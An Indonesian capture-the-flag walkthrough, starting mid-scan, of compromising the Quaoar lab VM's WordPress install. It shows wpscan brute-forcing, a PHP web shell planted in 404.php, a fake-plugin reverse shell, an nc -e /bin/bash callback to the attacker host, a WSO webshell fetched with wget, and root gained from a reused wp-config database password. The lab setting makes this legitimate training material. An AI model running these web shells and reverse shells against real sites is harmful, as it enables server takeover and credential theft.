(CODE:500|SIZE:0) + http://192.168.0.122/wordpress/wp-content/plugins/index (CODE:200|SIZE:0) + http://192.168.0.122/wordpress/wp-content/plugins/index.php (CODE:200|SIZE:0) ---- Entering directory: http://192.168.0.122/wordpress/wp-content/themes/ ---- + http://192.168.0.122/wordpress/wp-content/themes/index (CODE:200|SIZE:0) + http://192.168.0.122/wordpress/wp-content/themes/index.php (CODE:200|SIZE:0) ---- Entering directory: http://192.168.0.122/wordpress/wp-content/upgrade/ ---- (!) WARNING: Directory IS LISTABLE. No need to scan it. (Use mode '-w' if you want to scan it anyway) ---- Entering directory: http://192.168.0.122/wordpress/wp-content/uploads/ ---- (!) WARNING: Directory IS LISTABLE. No need to scan it. (Use mode '-w' if you want to scan it anyway) ---- Entering directory: http://192.168.0.122/upload/admins/login/forgot/ ---- + http://192.168.0.122/upload/admins/login/forgot/index (CODE:200|SIZE:2531) + http://192.168.0.122/upload/admins/login/forgot/index.php (CODE:200|SIZE:2531) ---- Entering directory: http://192.168.0.122/upload/include/yui/event/ ---- + http://192.168.0.122/upload/include/yui/event/event (CODE:200|SIZE:87537) + http://192.168.0.122/upload/include/yui/event/index (CODE:302|SIZE:0) + http://192.168.0.122/upload/include/yui/event/index.php (CODE:302|SIZE:0) + http://192.168.0.122/upload/include/yui/event/README (CODE:200|SIZE:9807) ---- Entering directory: http://192.168.0.122/upload/include/yui/yahoo/ ---- + http://192.168.0.122/upload/include/yui/yahoo/index (CODE:302|SIZE:0) + http://192.168.0.122/upload/include/yui/yahoo/index.php (CODE:302|SIZE:0) + http://192.168.0.122/upload/include/yui/yahoo/README (CODE:200|SIZE:2889) + http://192.168.0.122/upload/include/yui/yahoo/yahoo (CODE:200|SIZE:35223) ---- Entering directory: http://192.168.0.122/upload/modules/news/css/ ---- + http://192.168.0.122/upload/modules/news/css/backend (CODE:200|SIZE:1416) + http://192.168.0.122/upload/modules/news/css/frontend (CODE:200|SIZE:1771) + http://192.168.0.122/upload/modules/news/css/index (CODE:302|SIZE:0) + http://192.168.0.122/upload/modules/news/css/index.php (CODE:302|SIZE:0) ---- Entering directory: http://192.168.0.122/upload/modules/news/languages/ ---- + http://192.168.0.122/upload/modules/news/languages/index (CODE:302|SIZE:0) + http://192.168.0.122/upload/modules/news/languages/index.php (CODE:302|SIZE:0) ---- Entering directory: http://192.168.0.122/upload/modules/news/templates/ ---- ==> DIRECTORY: http://192.168.0.122/upload/modules/news/templates/backend/ + http://192.168.0.122/upload/modules/news/templates/index (CODE:302|SIZE:0) + http://192.168.0.122/upload/modules/news/templates/index.php (CODE:302|SIZE:0) ---- Entering directory: http://192.168.0.122/upload/modules/wysiwyg/languages/ ---- + http://192.168.0.122/upload/modules/wysiwyg/languages/index (CODE:302|SIZE:0) + http://192.168.0.122/upload/modules/wysiwyg/languages/index.php (CODE:302|SIZE:0) ---- Entering directory: http://192.168.0.122/upload/modules/wysiwyg/templates/ ---- + http://192.168.0.122/upload/modules/wysiwyg/templates/index (CODE:302|SIZE:0) + http://192.168.0.122/upload/modules/wysiwyg/templates/index.php (CODE:302|SIZE:0) ---- Entering directory: http://192.168.0.122/upload/modules/news/templates/backend/ ---- + http://192.168.0.122/upload/modules/news/templates/backend/index (CODE:302|SIZE:0) + http://192.168.0.122/upload/modules/news/templates/backend/index.php (CODE:302|SIZE:0) ----------------- END_TIME: Mon Jan 23 21:35:16 2023 DOWNLOADED: 258272 - FOUND: 252
Coba,
dirb http://192.168.0.122 /usr/share/dirb/wordlists/big.txt -o dirb_scan.txt -w
Hasilny tidak beda jauh dengan sebelumnya.
Sepertinya ada CMS (Lepton CMS) yang mengintai target ini. Disini bisa dilihat terdapat 3 file/folder penting yaitu
/upload /wordpress /robots.txt
Akses robot.txt di URL
http://192.168.0.122/robots.txt
keluar tulisan,
Disallow: Hackers
Allow: /wordpress/
____
# /___ \_ _ __ _ ___ __ _ _ __
# // / / | | |/ _` |/ _ \ / _` | '__|
#/ \_/ /| |_| | (_| | (_) | (_| | |
#\___,_\ \__,_|\__,_|\___/ \__,_|_|
Akses /upload
http://192.168.0.122/upload/
Ada LEPTON CMS, tapi sulit untuk diakses karena menggunakan IP 192.168.0.190. Tampaknya kita lebih baik focus ke wordpress saja.
Wordpress Scanning
Scan Wordpress,
wpscan --url http://192.168.0.122/wordpress --enumerate u
hasilnya,
_______________________________________________________________
__ _______ _____
\ \ / / __ \ / ____|
\ \ /\ / /| |__) | (___ ___ __ _ _ __ ®
\ \/ \/ / | ___/ \___ \ / __|/ _` | '_ \
\ /\ / | | ____) | (__| (_| | | | |
\/ \/ |_| |_____/ \___|\__,_|_| |_|
WordPress Security Scanner by the WPScan Team
Version 3.8.22
Sponsored by Automattic - https://automattic.com/
@_WPScan_, @ethicalhack3r, @erwan_lr, @firefart
_______________________________________________________________
[+] URL: http://192.168.0.122/wordpress/ [192.168.0.122]
[+] Started: Mon Jan 23 21:45:40 2023
Interesting Finding(s):
[+] Headers
| Interesting Entries:
| - Server: Apache/2.2.22 (Ubuntu)
| - X-Powered-By: PHP/5.3.10-1ubuntu3
| Found By: Headers (Passive Detection)
| Confidence: 100%
[+] XML-RPC seems to be enabled: http://192.168.0.122/wordpress/xmlrpc.php
| Found By: Direct Access (Aggressive Detection)
| Confidence: 100%
| References:
| - http://codex.wordpress.org/XML-RPC_Pingback_API
| - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_ghost_scanner/
| - https://www.rapid7.com/db/modules/auxiliary/dos/http/wordpress_xmlrpc_dos/
| - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_xmlrpc_login/
| - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_pingback_access/
[+] WordPress readme found: http://192.168.0.122/wordpress/readme.html
| Found By: Direct Access (Aggressive Detection)
| Confidence: 100%
[+] Upload directory has listing enabled: http://192.168.0.122/wordpress/wp-content/uploads/
| Found By: Direct Access (Aggressive Detection)
| Confidence: 100%
[+] The external WP-Cron seems to be enabled: http://192.168.0.122/wordpress/wp-cron.php
| Found By: Direct Access (Aggressive Detection)
| Confidence: 60%
| References:
| - https://www.iplocation.net/defend-wordpress-from-ddos
| - https://github.com/wpscanteam/wpscan/issues/1299
[+] WordPress version 3.9.14 identified (Insecure, released on 2016-09-07).
| Found By: Rss Generator (Passive Detection)
| - http://192.168.0.122/wordpress/?feed=rss2, <generator>http://wordpress.org/?v=3.9.14</generator>
| - http://192.168.0.122/wordpress/?feed=comments-rss2, <generator>http://wordpress.org/?v=3.9.14</generator>
[+] WordPress theme in use: twentyfourteen
| Location: http://192.168.0.122/wordpress/wp-content/themes/twentyfourteen/
| Last Updated: 2022-11-02T00:00:00.000Z
| [!] The version is out of date, the latest version is 3.5
| Style URL: http://192.168.0.122/wordpress/wp-content/themes/twentyfourteen/style.css?ver=3.9.14
| Style Name: Twenty Fourteen
| Style URI: http://wordpress.org/themes/twentyfourteen
| Description: In 2014, our default theme lets you create a responsive magazine website with a sleek, modern design...
| Author: the WordPress team
| Author URI: http://wordpress.org/
|
| Found By: Css Style In Homepage (Passive Detection)
|
| Version: 1.1 (80% confidence)
| Found By: Style (Passive Detection)
| - http://192.168.0.122/wordpress/wp-content/themes/twentyfourteen/style.css?ver=3.9.14, Match: 'Version: 1.1'
[+] Enumerating Users (via Passive and Aggressive Methods)
Brute Forcing Author IDs - Time: 00:00:00
<====================================================================================================================================================> (10 / 10) 100.00% Time: 00:00:00
[i] User(s) Identified:
[+] admin
| Found By: Author Posts - Display Name (Passive Detection)
| Confirmed By:
| Rss Generator (Passive Detection)
| Author Id Brute Forcing - Author Pattern (Aggressive Detection)
| Login Error Messages (Aggressive Detection)
[+] wpuser
| Found By: Author Id Brute Forcing - Author Pattern (Aggressive Detection)
| Confirmed By: Login Error Messages (Aggressive Detection)
[!] No WPScan API Token given, as a result vulnerability data has not been output.
[!] You can get a free API token with 25 daily requests by registering at https://wpscan.com/register
[+] Finished: Mon Jan 23 21:45:46 2023
[+] Requests Done: 59
[+] Cached Requests: 6
[+] Data Sent: 15.813 KB
[+] Data Received: 231.31 KB
[+] Memory used: 186.273 MB
[+] Elapsed time: 00:00:05
Yang di temukan,
What Fact /readme.html WordPress version 3.9.14 /wp-content/uploads/ Upload directory has directory listing enabled
Di temukan user,
Id Login Name 1 admin admin 2 wpuser wpuser
Wordpress Bruteforce password
Coba bruteforce,
wpscan --url http://192.168.0.122/wordpress --passwords /usr/share/wordlists/rockyou.txt --usernames admin -t 50
setelah beberapa lama, hasilnya,
.........
[+] Performing password attack on Xmlrpc Multicall against 1 user/s [SUCCESS] - admin / admin All Found Progress Time: 00:01:41 < > (40 / 28688) 0.13% ETA: ??:??:?? [!] Valid Combinations Found: | Username: admin, Password: admin [!] No WPScan API Token given, as a result vulnerability data has not been output. [!] You can get a free API token with 25 daily requests by registering at https://wpscan.com/register [+] Finished: Mon Jan 23 21:55:08 2023 [+] Requests Done: 185 [+] Cached Requests: 39 [+] Data Sent: 52.958 KB [+] Data Received: 4.135 MB [+] Memory used: 338.531 MB [+] Elapsed time: 00:01:58
Tampaknya
username admin password admin
Inject cmd vulnerability
Coba login ke
http://192.168.0.122/wordpress/wp-login.php
Masuk ke
Appearance > Editor > 404 Template (404.php)
Masukan
<?php /** * The template for displaying 404 pages (Not Found) * * @package WordPress * @subpackage Twenty_Fourteen * @since Twenty Fourteen 1.0 */
echo "
"; echo shell_exec($_GET['cmd']); echo "
";
exit(); get_header(); ?>
Jangan lupa di Save setelah di tambahkan. Lakukan command injection lewat URL,
http://192.168.0.122/wordpress/wp-content/themes/twentyfourteen/404.php?cmd=pwd;%20ls%20-lah;%20id
Jika berhasil akan keluar,
/var/www/wordpress/wp-content/themes/twentyfourteen total 864K drwxr-xr-x 9 www-data www-data 4.0K Oct 12 2016 . drwxr-xr-x 5 www-data www-data 4.0K Oct 16 2016 .. -rw-r--r-- 1 www-data www-data 823 Jan 23 22:30 404.php -rw-r--r-- 1 www-data www-data 2.2K Oct 12 2016 archive.php -rw-r--r-- 1 www-data www-data 1.9K Oct 12 2016 author.php -rw-r--r-- 1 www-data www-data 1.5K Oct 12 2016 category.php -rw-r--r-- 1 www-data www-data 2.3K Oct 12 2016 comments.php -rw-r--r-- 1 www-data www-data 2.2K Oct 12 2016 content-aside.php -rw-r--r-- 1 www-data www-data 2.2K Oct 12 2016 content-audio.php -rw-r--r-- 1 www-data www-data 1.1K Oct 12 2016 content-featured-post.php -rw-r--r-- 1 www-data www-data 2.2K Oct 12 2016 content-gallery.php -rw-r--r-- 1 www-data www-data 2.2K Oct 12 2016 content-image.php -rw-r--r-- 1 www-data www-data 2.2K Oct 12 2016 content-link.php -rw-r--r-- 1 www-data www-data 961 Oct 12 2016 content-none.php -rw-r--r-- 1 www-data www-data 871 Oct 12 2016 content-page.php -rw-r--r-- 1 www-data www-data 2.2K Oct 12 2016 content-quote.php -rw-r--r-- 1 www-data www-data 2.2K Oct 12 2016 content-video.php -rw-r--r-- 1 www-data www-data 2.2K Oct 12 2016 content.php drwxr-xr-x 2 www-data www-data 4.0K Oct 12 2016 css -rw-r--r-- 1 www-data www-data 946 Oct 12 2016 featured-content.php -rw-r--r-- 1 www-data www-data 728 Oct 12 2016 footer.php -rw-r--r-- 1 www-data www-data 16K Oct 12 2016 functions.php drwxr-xr-x 3 www-data www-data 4.0K Oct 12 2016 genericons -rw-r--r-- 1 www-data www-data 2.3K Oct 12 2016 header.php -rw-r--r-- 1 www-data www-data 2.6K Oct 12 2016 image.php drwxr-xr-x 2 www-data www-data 4.0K Oct 12 2016 images drwxr-xr-x 2 www-data www-data 4.0K Oct 12 2016 inc -rw-r--r-- 1 www-data www-data 1.6K Oct 12 2016 index.php drwxr-xr-x 2 www-data www-data 4.0K Oct 12 2016 js drwxr-xr-x 2 www-data www-data 4.0K Oct 12 2016 languages drwxr-xr-x 2 www-data www-data 4.0K Oct 12 2016 page-templates -rw-r--r-- 1 www-data www-data 1.2K Oct 12 2016 page.php -rw-r--r-- 1 www-data www-data 16K Oct 12 2016 rtl.css -rw-r--r-- 1 www-data www-data 603K Oct 12 2016 screenshot.png -rw-r--r-- 1 www-data www-data 1.3K Oct 12 2016 search.php -rw-r--r-- 1 www-data www-data 340 Oct 12 2016 sidebar-content.php -rw-r--r-- 1 www-data www-data 395 Oct 12 2016 sidebar-footer.php -rw-r--r-- 1 www-data www-data 848 Oct 12 2016 sidebar.php -rw-r--r-- 1 www-data www-data 1.1K Oct 12 2016 single.php -rw-r--r-- 1 www-data www-data 74K Oct 12 2016 style.css -rw-r--r-- 1 www-data www-data 1.6K Oct 12 2016 tag.php -rw-r--r-- 1 www-data www-data 2.4K Oct 12 2016 taxonomy-post_format.php uid=33(www-data) gid=33(www-data) groups=33(www-data)
Alternative Inject Fake Plugin
Di Kali Linux
cd ~ cp /usr/share/webshells/php/php-reverse-shell.php ~/shelly.php
Beri plugin wrapper
<?php /* Plugin Name: Shelly Plugin URI: http://localhost Description: Bla Bla Bla Author: Pingmoose Version: 1.0.1 Author URI: http://localhost */ COPY CONTENTS OF shelly.php HERE ?>
Masuk ke shell Kali, cek IP address
ifconfig eth0
Misalnya, IP address 192.168.0.94 Edit shelly shell ubah,
$ip = '127.0.0.1'; // CHANGE THIS $port = 1234; // CHANGE THIS
Menjadi
$ip = '192.168.0.94'; // CHANGE THIS $port = 4444; // CHANGE THIS
Zip,
zip shelly-plugin.zip shelly.php
Start netcat listener di Kali
Start 4444 listener
nc -nvlp 4444
Browse untuk connect ke port
- cek IP address kali linux dengan perintah "ifconfig eth0", misalnya hasilnya 192.168.0.62
- Browse ke URL (perhatikan spasi)
http://192.168.0.122/wordpress/wp-content/themes/twentyfourteen/404.php?cmd=nc%20-nv%20192.168.0.62%204444%20-e%20/bin/bash
Di kali linux CLI akan ada kata2,
# nc -nvlp 4444
listening on [any] 4444 ...
connect to [192.168.0.62] from (UNKNOWN) [192.168.0.130] 60676
whoami
www-data
python -c 'import pty; pty.spawn("/bin/bash");'
www-data@pwnlab:/var/www/html$
Perlu diingat! jangan lupa jalankan 2 perintah ini ketika sudah berhasil connect back
$ python -c "import pty; pty.spawn('/bin/bash');"
$ export TERM=xterm
Privilege Escalation (getting common user) Silahkan baca output dari linuxprivchecker.py. Ada hal yang menarik dari versi kernel tersebut
[+] Kernel
Linux version 3.2.0-23-generic-pae (buildd@palmer) (gcc version 4.6.3 (Ubuntu/Linaro 4.6.3-1ubuntu4) ) #36-Ubuntu SMP Tue Apr 10 22:19:09 UTC 2012
Dan ketika saya ingin kompile dan jalankan exploit, hal yang saya takutkan benar-benar terjadi
www-data@Quaoar:/var/www/wordpress/wp-content/themes/twentyfourteen$ gcc The program 'gcc' can be found in the following packages:
- gcc
- pentium-builder
Ask your administrator to install one of them Oh my god! Tapi saya tidak menyerah, saya cari di https://www.kernel-exploits.com/kernel/?version=3.2.0 dan menemukan exploit yang cocok. Namun ketika dijalankan
Padahal sudah chmod +x sebelumnya
Hmm, sekarang kita coba baca kembali /etc/passwd dari linuxprivchecker. Terdapat user wpadmin seperti ini
[+] All users
root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/bin/sh bin:x:2:2:bin:/bin:/bin/sh sys:x:3:3:sys:/dev:/bin/sh sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/bin/sh man:x:6:12:man:/var/cache/man:/bin/sh lp:x:7:7:lp:/var/spool/lpd:/bin/sh mail:x:8:8:mail:/var/mail:/bin/sh news:x:9:9:news:/var/spool/news:/bin/sh uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh proxy:x:13:13:proxy:/bin:/bin/sh www-data:x:33:33:www-data:/var/www:/bin/sh backup:x:34:34:backup:/var/backups:/bin/sh list:x:38:38:Mailing List Manager:/var/list:/bin/sh irc:x:39:39:ircd:/var/run/ircd:/bin/sh nobody:x:65534:65534:nobody:/nonexistent:/bin/sh libuuid:x:100:101::/var/lib/libuuid:/bin/sh syslog:x:101:103::/home/syslog:/bin/false mysql:x:102:105:MySQL Server,,,:/nonexistent:/bin/false messagebus:x:103:107::/var/run/dbus:/bin/false whoopsie:x:105:112::/nonexistent:/bin/false
....
wpadmin:x:1001:1001::/home/wpadmin:/bin/sh
Pada password admin wordpress tadi, username & password semuanya sama. Apakah ini juga berlaku pada user wpadmin? mengapa kita tidak coba
Loh ternyata berhasil beneran!!! XD XD
Anyway, saya coba iseng decrypt flag md5 itu dan ternyata tidak ditemukan. Saya coba masukin ke root tapi sepertinya bukan itu passwordnya.
Privilege Escalation (getting root)
cara-cara di atas semua tidak berhasil. Terpaksa menggunakan bruteforce.
http://192.168.0.122/wordpress/wp-content/themes/twentyfourteen/404.php?cmd=pwd http://192.168.0.122/wordpress/wp-content/themes/twentyfourteen/404.php?cmd=ls%20/var/www/wordpress http://192.168.0.122/wordpress/wp-content/themes/twentyfourteen/404.php?cmd=cat%20/var/www/wordpress/wp-config.php
Karena saya tidak menemukan jalan lain selain bruteforce, namun tentunya pusing juga kalau bruteforce rootnya karena /etc/shadow tidak dapat dibuka.
Akhirnya saya coba iseng melihat konfigurasi wordpress, siapa tau password rootnya adalah password database server
// ** MySQL settings - You can get this info from your web host ** //
/** The name of the database for WordPress */
define('DB_NAME', 'wordpress');
/** MySQL database username */
define('DB_USER', 'root');
/** MySQL database password */
define('DB_PASSWORD', 'rootpassword!');
/** MySQL hostname */
define('DB_HOST', 'localhost');
Lalu saya cobakan saja password rootpassword! pada root
Okay! berhasil sudah sampai disini, yey!!!
Epilogue Terus terang aja sih, ini VM sebenarnya gampang cuma malesinnya adalah maenan bruteforce dan tebak password.
Tentunya walaupun mudah, ini juga merupakan hal yang sulit buat kalian yang masih baru dalam dunia hacking. Tebak password itu bisa gw bilang salah satu “skill dewa” karena kamu harus punya sense yang bagus untuk itu.
Paling segitu dulu saja, stay tuned untuk artikel lainnya yah! :D
Referensi
Percoban Menggunakan WSO Webshell
Upload WSO Shell
Download WSO
cd /home/kali/Downloads/ wget https://github.com/mIcHyAmRaNe/wso-webshell/archive/refs/heads/master.zip unzip master.zip mv wso-webshell-master/wso.php . mv wso.php wso.txt
Default setting WSO Shell ini
Password ghost287 Edit line 7 (md5 hash) Email test@testmail.com Edit line 4
File wso.txt ada di /home/kali/Downloads/ Jalankan web server di Kali linux
python3 -m http.server --bind 0.0.0.0 9000
Cek IP address kali linux
ifconfig
Misalnya IP address 192.168.0.62, cek apakah bisa di akses via web alamat
http://192.168.0.62:9000/ http://192.168.0.62:9000/wso.txt
Upload menggunakan exploit,
http://192.168.0.122/wordpress/wp-content/themes/twentyfourteen/404.php?cmd=wget%20http://192.168.0.62:9000/wso.txt http://192.168.0.122/wordpress/wp-content/themes/twentyfourteen/404.php?cmd=mv%20wso.txt%20wso.php http://192.168.0.122/wordpress/wp-content/themes/twentyfourteen/404.php?cmd=ls%20-la
Coba WSO Shell
Jalankan Remote Shell WSO Shell
http://192.168.0.122/wordpress/wp-content/themes/twentyfourteen/404.php?cmd=php%20wso.php
Di Kali Linux jalankan,
nc -lvp 31337
Tampaknya belum bisa jalan WSO shell
WSO Shell, silahkan yang mau jalan2 Saatnya connectback shell, tinggal jalankan perintah nc -lvp 31337, dan buka bagian network. Masukkan IP kamu dan jadilah shell seperti ini